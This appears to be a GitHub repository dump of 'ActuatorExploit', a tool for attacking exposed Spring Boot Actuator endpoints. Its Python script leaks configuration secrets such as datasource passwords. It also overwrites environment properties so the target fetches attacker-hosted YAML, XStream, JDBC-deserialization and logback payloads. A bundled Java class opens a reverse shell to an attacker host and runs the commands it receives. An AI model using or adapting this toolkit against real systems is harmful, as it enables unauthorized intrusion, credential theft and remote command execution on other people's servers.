├── ActuatorExploit.py
├── README.md
└── yaml-payload
├── 1.sh
├── README.md
└── src
├── .idea
├── compiler.xml
├── misc.xml
├── modules.xml
├── src.iml
├── vcs.xml
└── workspace.xml
├── META-INF
└── services
│ └── javax.script.ScriptEngineFactory
└── artsploit
├── .DS_Store
└── AwesomeScriptEngineFactory.java
/ActuatorExploit.py:
--------------------------------------------------------------------------------
1 | # coding: utf-8
2 | # -**- Author: LFY -**-
3 |
4 | import requests
5 | import argparse
6 |
7 |
8 | def post(target, data, path, version):
9 | res = None
10 | if version == 1:
11 | try:
12 | res = requests.post(target + path, data=data)
13 | except Exception:
14 | print("[-] " + path + " request failed!")
15 | return
16 | elif version == 2:
17 | if data is None:
18 | json = None
19 | else:
20 | (name, value), = data.items()
21 | json = {
22 | "name": name,
23 | "value": value,
24 | }
25 | try:
26 | res = requests.post(target + "/actuator" + path,
27 | json=json)
28 | except Exception:
29 | print("[-] " + path + " request failed!")
30 | return
31 | else:
32 | print("[-] Unknown version!")
33 | return
34 |
35 | return res
36 |
37 |
38 | def check_env_and_refresh_exists(target, version):
39 | res = post(target, {1: 1}, "/env", version)
40 | if res is None or res.status_code == 405:
41 | print("[-] Env 'POST' not supported, exploit failed!\n")
42 | return False
43 |
44 | res = post(target, None, "/refresh", version)
45 | if res is None or res.status_code == 405:
46 | print("[-] Refresh 'POST' not supported, exploit failed!\n")
47 | return False
48 |
49 | return True
50 |
51 |
52 | def check_jolokia_exists(target, version):
53 | if version == 1:
54 | target = target + "/jolokia"
55 | else:
56 | target = target + "/actuator/jolokia"
57 |
58 | res = requests.get(target)
59 | if res.status_code == 404:
60 | print("[-] Jolokia not exists!\n")
61 | return False
62 |
63 | return True
64 |
65 |
66 | def check_mbean_exists(target, version, keywords):
67 | if version == 1:
68 | target = target + "/jolokia/list"
69 | else:
70 | target = target + "/actuator/jolokia/list"
71 |
72 | res = requests.get(target)
73 | for keyword in keywords:
74 | if keyword not in res.text:
75 | print(f"[-] MBean {keyword} not exist!")
76 | return False
77 | return True
78 |
79 |
80 | class InfoLeaker(object):
81 | def __init__(self, target, info, version, vps=""):
82 | self.target = target
83 | self.info = info
84 | self.version = version
85 | self.vps = vps
86 |
87 | def get_by_jolokia(self):
88 | print("[*] Get By Jolokia...")
89 |
90 | if not check_jolokia_exists(self.target, self.version):
91 | return
92 |
93 | json = {
94 | "mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
95 | "operation": "getProperty",
96 | "type": "EXEC",
97 | "arguments": [self.info]
98 | }
99 |
100 | if version == 1:
101 | target = self.target + "/jolokia"
102 | else:
103 | target = self.target + "/actuator/jolokia"
104 |
105 | res = requests.post(target, json=json)
106 | if res is None:
107 | print("[-] Exploit failed!\n")
108 | return
109 |
110 | print(res.text)
111 | print("[+] Exploit success!\n")
112 |
113 | def get_by_placeholder(self):
114 | print("[*] Get By Placeholder...")
115 |
116 | if not check_env_and_refresh_exists(self.target, self.version):
117 | return
118 |
119 | print("[+] Trying spring.cloud.bootstrap.location...")
120 | data = {
121 | "spring.cloud.bootstrap.location": "http://" + self.vps + "/?=${" + self.info + "}"
122 | }
123 | res = post(self.target, data, "/env", self.version)
124 | if res is None or self.vps not in res.text:
125 | print("[-] SnakeYAML exploit failed!")
126 |
127 | print("[+] Trying eureka.client.serviceUrl.defaultZone...")
128 | data = {
129 | "eureka.client.serviceUrl.defaultZone": "http://" + self.vps + "/?=${" + self.info + "}"
130 | }
131 | res = post(self.target, data, "/env", self.version)
132 | if res is None or self.vps not in res.text:
133 | print("[-] Eureka exploit failed!")
134 |
135 | post(self.target, None, "/refresh", self.version)
136 | print("[+] Exploit completed!\n")
137 |
138 | def get_by_heapdump(self):
139 | print("[*] Get By Heapdump...")
140 |
141 | if self.version == 1:
142 | res = requests.get(self.target + "/heapdump")
143 | elif self.version == 2:
144 | res = requests.get(self.target + "/actuator/heapdump")
145 |
146 | if res.status_code == 200:
147 | print("[+] Target can be exploited!\n")
148 | else:
149 | print("[-] Heapdump not exists!\n")
150 |
151 |
152 | class RceExp(object):
153 | def __init__(self, target, version, vps=""):
154 | self.target = target
155 | self.version = version
156 | self.vps = vps
157 |
158 | def exp_spel(self):
159 | pass
160 |
161 | def exp_snakeYAML_and_eurekaXStream(self):
162 | print("[*] Exp SnakeYAML And EurekaXStream...")
163 |
164 | if not check_env_and_refresh_exists(self.target, self.version):
165 | return
166 |
167 | # spring-cloud-starter < 1.3.0.RELEASE
168 | print("[+] Trying to overwrite spring.cloud.bootstrap.location...")
169 | data = {
170 | "spring.cloud.bootstrap.location": "http://" + self.vps + "/1.yml"
171 | }
172 | res = post(self.target, data, "/env", self.version)
173 | if res is None or self.vps not in res.text:
174 | print("[-] SnakeYAML exploit failed!")
175 |
176 |
177 | # spring-cloud-starter-netflix-eureka-client < 1.8.7
178 | print("[+] Trying to overwrite eureka.client.serviceUrl.defaultZone...")
179 | data = {
180 | "eureka.client.serviceUrl.defaultZone": self.vps + "/1"
181 | }
182 | res = post(self.target, data, "/env", self.version)
183 | if res is None or self.vps not in res.text:
184 | print("[-] EurekaXStream exploit failed!")
185 |
186 | post(self.target, None, "/refresh", self.version)
187 | print("[+] Exploit completed!\n")
188 |
189 | def exp_jdbc_unser(self):
190 | print("[*] Exp JDBC Unser...")
191 |
192 | if not check_env_and_refresh_exists(self.target, self.version):
193 | return
194 |
195 | # mysql-connector-java 5/8
196 | print("[+] Trying to overwrite spring.datasource.url...")
197 | data = {
198 | "spring.datasource.url": "jdbc:mysql://" + self.vps + "/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
199 | }
200 | res = post(self.target, data, "/env", self.version)
201 | post(self.target, None, "/refresh", self.version)
202 |
203 | if res is None or self.vps not in res.text:
204 | print("[-] JDBC Unser exploit failed!\n")
205 | return
206 |
207 | print("[+] Try to trigger database operations manually!")
208 | print("[+] Exploit success!\n")
209 |
210 | def exp_jolokia_logback(self):
211 | print("[*] Exp Jolokia Logback...")
212 |
213 | if not check_jolokia_exists(self.target, self.version):
214 | return
215 |
216 | keywords = ["ch.qos.logback.classic.jmx.JMXConfigurator", "reloadByURL"]
217 | if not check_mbean_exists(self.target, self.version, keywords):
218 | return
219 |
220 | print("[+] Target could be attacked!")
221 | print("[+] Trying to reload {}'s logback.xml".format(self.vps))
222 |
223 | # xml_addr = input(
224 | # "[+] Input logback's xml server addr or n:") or "n"
225 | # if xml_addr == "n":
226 | # print("[+] Exploit completed!\n")
227 | # return
228 |
229 | xml_addr = self.vps
230 |
231 | exp_url = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + xml_addr + "!/logback.xml"
232 | if self.version == 1:
233 | res = requests.get(self.target + exp_url)
234 | elif self.version == 2:
235 | res = requests.get(self.target + "/actuator" + exp_url)
236 | # print(res.text)
237 | if "\"status\":200" in res.text and xml_addr in res.text:
238 | print("[+] Exploit success!\n")
239 | else:
240 | print("[-] Exploit failed! Exploit it manually!\n")
241 |
242 | # elprocessor方式,无视jdk版本
243 | def exp_jolokia_realm(self):
244 | print("[*] Exp Jolokia Realm...")
245 |
246 | if not check_jolokia_exists(self.target, self.version):
247 | return
248 |
249 | keywords = ["type=MBeanFactory", "createJNDIRealm"]
250 | if not check_mbean_exists(self.target, self.version, keywords):
251 | return
252 |
253 | print("[+] Target could be attacked!")
254 | print("[+] Use RR's exp to attack!\n")
255 |
256 | def exp_h2(self):
257 | print("[*] Exp H2 DB...")
258 |
259 | if version == 1:
260 | target = self.target + "/env"
261 | else:
262 | target = self.target + "/actuator/env"
263 |
264 | res = requests.get(target)
265 | if res.status_code == 404:
266 | print("[-] Env not exists!\n")
267 | return
268 |
269 | if "h2database" in res.text:
270 | print("[+] H2database exists! Exploit it manually!")
271 |
272 |
273 | if __name__ == '__main__':
274 | parser = argparse.ArgumentParser()
275 | parser.add_argument("-t", "--target", dest='target',
276 | help="target url, like http://127.0.0.1")
277 | parser.add_argument("-w", "--way", dest='way',
278 | help="scan way, input leak/rce")
279 | parser.add_argument("-v", "--version", dest='version',
280 | help="sb version, input 1/2, 2 is /actuator/xxx")
281 | parser.add_argument("-p", "--vps", dest='vps',
282 | help="listener vps ip")
283 | parser.add_argument("-i", "--info", dest='info',
284 | help="info to leak", default="")
285 |
286 | args = parser.parse_args()
287 | target = args.target
288 | info = args.info
289 | version = int(args.version)
290 | vps = args.vps
291 |
292 | if args.way == "leak":
293 | print("[*] Trying to leak info...\n")
294 | leaker = InfoLeaker(target, info, version, vps)
295 | leaker.get_by_placeholder()
296 | leaker.get_by_jolokia()
297 | leaker.get_by_heapdump()
298 | elif args.way == "rce":
299 | print("[*] Trying to RCE...\n")
300 | rcechecker = RceExp(target, version, vps)
301 | rcechecker.exp_snakeYAML_and_eurekaXStream()
302 | rcechecker.exp_jolokia_logback()
303 | rcechecker.exp_jolokia_realm()
304 | rcechecker.exp_jdbc_unser()
305 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ActuatorExploit
2 | SpringBoot Actuator未授权自动化利用,支持信息泄漏/RCE
3 |
4 | ## About
5 | 参考 https://github.com/LandGrey/SpringBootVulExploit
6 | SpringBoot Actuator各种姿势的半自动化利用,landgrey师傅的项目中有的姿势都已集成
7 |
8 | ## Usage
9 | ```
10 | usage: ActuatorExploit.py [-h] [-t TARGET] [-w WAY] [-v VERSION] [-p VPS]
11 | [-i INFO]
12 |
13 | optional arguments:
14 | -h, --help show this help message and exit
15 | -t TARGET, --target TARGET
16 | target url, like http://127.0.0.1
17 | -w WAY, --way WAY scan way, input leak/rce
18 | -v VERSION, --version VERSION
19 | sb version, input 1/2, 2 is /actuator/xxx
20 | -p VPS, --vps VPS listener vps ip
21 | -i INFO, --info INFO info to leak
22 | ```
23 |
24 | ### RCE:
25 | python3 check.py -t http://127.0.0.1:9094 -w rce -v 1 -p vsp:1234
26 |
27 | 
28 |
29 | 注1:snakeyaml利用需要的反弹shell exp见yaml-payload,运行1.sh即可编译。
30 | 注2:[RR's exp](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
31 |
32 | ### Leak:
33 | python3 check.py -t http://127.0.0.1:9094 -w leak -v 1 -p vps:1234 -i spring.datasource.password
34 |
35 | 
36 |
--------------------------------------------------------------------------------
/yaml-payload/1.sh:
--------------------------------------------------------------------------------
1 | javac src/artsploit/AwesomeScriptEngineFactory.java
2 | jar -cvf yaml-payload.jar -C src/ .
3 | scp yaml-payload.jar root@tx:/data/www/default/tmp/123.jar
--------------------------------------------------------------------------------
/yaml-payload/README.md:
--------------------------------------------------------------------------------
1 | A tiny project for generating payloads for the SnakeYAML deserialization gadget (taken from https://github.com/mbechler/marshalsec):
2 | ```yaml
3 | !!javax.script.ScriptEngineManager [
4 | !!java.net.URLClassLoader [[
5 | !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
6 | ]]
7 | ]
8 | ```
9 | Put the java code you want execute into [AwesomeScriptEngineFactory.java](./src/artsploit/AwesomeScriptEngineFactory.java) and compile:
10 | ```bash
11 | javac src/artsploit/AwesomeScriptEngineFactory.java
12 | jar -cvf yaml-payload.jar -C src/ .
13 | ```
14 |
15 | Then place the 'yaml-payload.jar' file in to the web server folder (e.g. artsploit.com/yaml-payload.jar)
16 |
--------------------------------------------------------------------------------
/yaml-payload/src/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/yaml-payload/src/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/yaml-payload/src/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/yaml-payload/src/.idea/src.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/yaml-payload/src/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/yaml-payload/src/.idea/workspace.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 | ip
66 | run
67 |
68 |
69 |
70 |
71 |
72 |
73 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 | 1604989012676
166 |
167 |
168 | 1604989012676
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 |
188 |
189 |
190 |
191 |
192 |
193 |
194 |
195 |
196 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 |
221 |
222 |
223 |
224 |
225 |
226 |
227 |
228 |
229 |
230 |
231 |
232 |
233 |
234 |
235 |
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
251 |
252 |
253 |
254 |
255 |
256 |
257 |
258 |
259 |
260 | 1.8
261 |
262 |
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 |
271 |
272 |
--------------------------------------------------------------------------------
/yaml-payload/src/META-INF/services/javax.script.ScriptEngineFactory:
--------------------------------------------------------------------------------
1 | artsploit.AwesomeScriptEngineFactory
--------------------------------------------------------------------------------
/yaml-payload/src/artsploit/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LFYSec/ActuatorExploit/b8ae089177a9944098bce2a8b159388888a5dca6/yaml-payload/src/artsploit/.DS_Store
--------------------------------------------------------------------------------
/yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java:
--------------------------------------------------------------------------------
1 | package artsploit;
2 |
3 | import javax.script.ScriptEngine;
4 | import javax.script.ScriptEngineFactory;
5 | import java.io.IOException;
6 | import java.util.List;
7 | import java.io.*;
8 | import java.net.Socket;
9 | import java.util.Base64;
10 |
11 |
12 |
13 | public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
14 |
15 | public AwesomeScriptEngineFactory() {
16 | new Thread(() -> {
17 | try {
18 | Socket socket = new Socket("vps",4321);
19 | BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
20 | bufferedWriter.write("hello lfy!\r\n");
21 | bufferedWriter.flush();
22 |
23 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
24 |
25 | Process pro;
26 |
27 | while (true) {
28 | String line;
29 | while ((line = bufferedReader.readLine()) == null)
30 | ;
31 | if(System.getProperty("os.name").toLowerCase().startsWith("win")){
32 | pro = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", line});
33 | }else{
34 | pro = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", line});
35 | }
36 |
37 | BufferedReader read = new BufferedReader(new InputStreamReader(pro.getInputStream()));
38 |
39 | String line2;
40 | while ((line2 = read.readLine()) != null) {
41 | bufferedWriter.write(line2+"\r\n");
42 | bufferedWriter.flush();
43 | }
44 | }
45 |
46 | } catch (IOException e) {
47 | e.printStackTrace();
48 | }
49 | }).start();
50 | }
51 |
52 | @Override
53 | public String getEngineName() {
54 | return null;
55 | }
56 |
57 | @Override
58 | public String getEngineVersion() {
59 | return null;
60 | }
61 |
62 | @Override
63 | public List getExtensions() {
64 | return null;
65 | }
66 |
67 | @Override
68 | public List getMimeTypes() {
69 | return null;
70 | }
71 |
72 | @Override
73 | public List getNames() {
74 | return null;
75 | }
76 |
77 | @Override
78 | public String getLanguageName() {
79 | return null;
80 | }
81 |
82 | @Override
83 | public String getLanguageVersion() {
84 | return null;
85 | }
86 |
87 | @Override
88 | public Object getParameter(String key) {
89 | return null;
90 | }
91 |
92 | @Override
93 | public String getMethodCallSyntax(String obj, String m, String... args) {
94 | return null;
95 | }
96 |
97 | @Override
98 | public String getOutputStatement(String toDisplay) {
99 | return null;
100 | }
101 |
102 | @Override
103 | public String getProgram(String... statements) {
104 | return null;
105 | }
106 |
107 | @Override
108 | public ScriptEngine getScriptEngine() {
109 | return null;
110 | }
111 | }
112 |
--------------------------------------------------------------------------------